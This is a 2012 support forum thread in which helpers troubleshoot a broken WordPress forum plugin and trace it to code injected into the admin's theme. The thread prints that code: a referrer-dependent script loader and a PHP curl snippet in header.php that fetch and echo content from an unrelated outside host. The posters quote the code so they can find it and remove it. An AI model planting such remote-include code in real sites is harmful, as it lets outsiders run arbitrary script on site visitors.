Support Forum

Advanced Search
Forum Scope


Match



Forum Options



Minimum search word length is 3 characters - maximum search word length is 84 characters
general-topic
Unable to delete/move topic and posts
Avatar
Karthik Subramanian
Member
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 1:13 pm

Hi there,

 

I just installed your forum plugin to my Wordpress site and I've set the theme to "black-gold".  I've tried testing the features and I can't seem to be able to trigger anything on the "Toolset" icon located on the far left of the post.  Whenever I click on the icon, nothing happens. What I've noticed is that when I hover over the icon it shows a pointer to a "javascript:void(null)" function.

 

Is there something I'm missing or is it a code-related error? If not, is there an alternative to deleting/moving a topic or post?  I am the administrator of the forum.

 

My forum: http://www.chokinghazard-guild.....page_id=19

 

Cheers.

Avatar
Yellow Swordfish
Glinton, England
SP Master
sp_UserOfflineSmall Offline
Mar 15, 2012 - 2:32 pm

Does the term 'wau' mean anything to you? Plugin perhaps?
If t does can you try deactivating it?

andy-signature.png
YELLOW
SWORDFISH
Avatar
Karthik Subramanian
Member
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 7:59 pm

Yellow Swordfish said
Does the term 'wau' mean anything to you? Plugin perhaps?
If t does can you try deactivating it?

Not sure what 'wau' means, to be honest. There aren't any plugins that are activated other than simple:press.  Could it be something with the website theme?

Avatar
Mr Papa
Simi Valley, CA
SP Master
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 8:19 pm

Andy asked if you knew what 'wau' was because there seems to be a plugin or theme doing improper things... it is inserting code that is hard loading jquery from another server... it appears to be conflicting with the jquery that comes with wp...  this is the inserted code, maybe you will recognize it:

<script type="text/javascript"> 
if(!document.referrer || document.referrer == '') { 
    document.write('<scr'+'ipt type="text/javascript" src="http://www.4llw4d.freefilesblog.com/jquery.min.js"></scr'+'ipt>'); } 
else { document.write('<scr'+'ipt type="text/javascript" src="http://www.4llw4d.freefilesblog.com/jquery.js"></scr'+'ipt>'); } 
</script> 
<script>
var _wau = _wau || []; 
_wau.push(["tab", "oyh4xtc1j9zo", "ipr", "left-middle"]);
(function() { var s=document.createElement("script"); 
s.async=true; 
s.src="http://widgets.amung.us/tab.js";
document.getElementsByTagName("head")[0].appendChild(s);})();
</script>
<script>
</script>

That is not the correct way to load js or jquery...  Please see: 

http://codex.simple-press.com/codex/faq/troubleshooting/what-is-this-jquery-conflict/

http://codex.wordpress.org/Function_Reference/wp_enqueue_script

so if we can figure out its a theme or plugin doing it, we can help fix it..

Avatar
Karthik Subramanian
Member
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 8:38 pm

It's probably the general word press theme.  Is there any way of pinpointing which file is holding that piece of code? It seems to be redirecting it through an external address which has no relevance to my site.

Avatar
Karthik Subramanian
Member
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 8:53 pm

I removed this piece of injected code from header.php:

 

<?php
if(function_exists('curl_init'))
{
 $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
 $ch = curl_init();  
 $timeout = 5;  
 curl_setopt($ch,CURLOPT_URL,$url);
 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
 $data = curl_exec($ch);  
 curl_close($ch);
 echo "$data";
}
?>

 

but still exhibits the same issue.

Avatar
Mr Papa
Simi Valley, CA
SP Master
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 9:01 pm

I can confirm its gone... I would find that kind of code unacceptable to me...  they could do whatever they wanted to your site...

so, did you clear your browser cache before trying and then reload the page?

I dont see any obvious js issues, but then I cannot try the forum tools as guest...  if you wanted to create a temp account with enough permissions to use the forum tools (ie edit any post) and PM myself and yellow swordfish the details, we can take a closer look...

Avatar
Karthik Subramanian
Member
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 9:33 pm

PM sent. Thanks guys 🙂

Avatar
Mr Papa
Simi Valley, CA
SP Master
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 9:34 pm

okay, will take a look in couple minutes...

Avatar
Mr Papa
Simi Valley, CA
SP Master
Free Members
sp_UserOfflineSmall Offline
Mar 15, 2012 - 9:54 pm

sheesh. some theme authors just dont get it. wink

the theme is also loading an old version of jquery ui and even renamed the file...  so of course it conflicts with the version that ships with wp... 

so you need to find where its doing the following:

<script type='text/javascript' src='http://www.chokinghazard-guild.com/wordpress/wp-content/themes/iblogpro4_dev/core/js/jquery-ui.custom.js?ver=1.0'></script>

will typically be in functions.php, header.php or maybe footer.php (since its in the footer)... 

I would go ahead and let the theme do its bad thing on non forum page because no telling what this outdated theme might be expecting...  so lets try changing it to:

<?php
if (!sp_is_forumpage()) {
    echo "<script type='text/javascript' src='http://www.chokinghazard-guild.com/wordpress/wp-content/themes/iblogpro4_dev/core/js/jquery-ui.custom.js?ver=1.0'></script>";
}
?>
Forum Timezone: Europe/Stockholm
Most Users Ever Online: 1170
Currently Online:
Guest(s) 1
Currently Browsing this Page:
1 Guest(s)
Top Posters:
Mr Papa: 19448
Ike: 2086
Brandon: 864
kvr28: 804
jim: 650
FidoSysop: 577
Conrad_Farlow: 531
fiddlerman: 358
Stefano Prete: 325
Member Stats:
Guest Posters: 619
Members: 17361
Moderators: 0
Admins: 4
Forum Stats:
Groups: 7
Forums: 17
Topics: 10127
Posts: 79625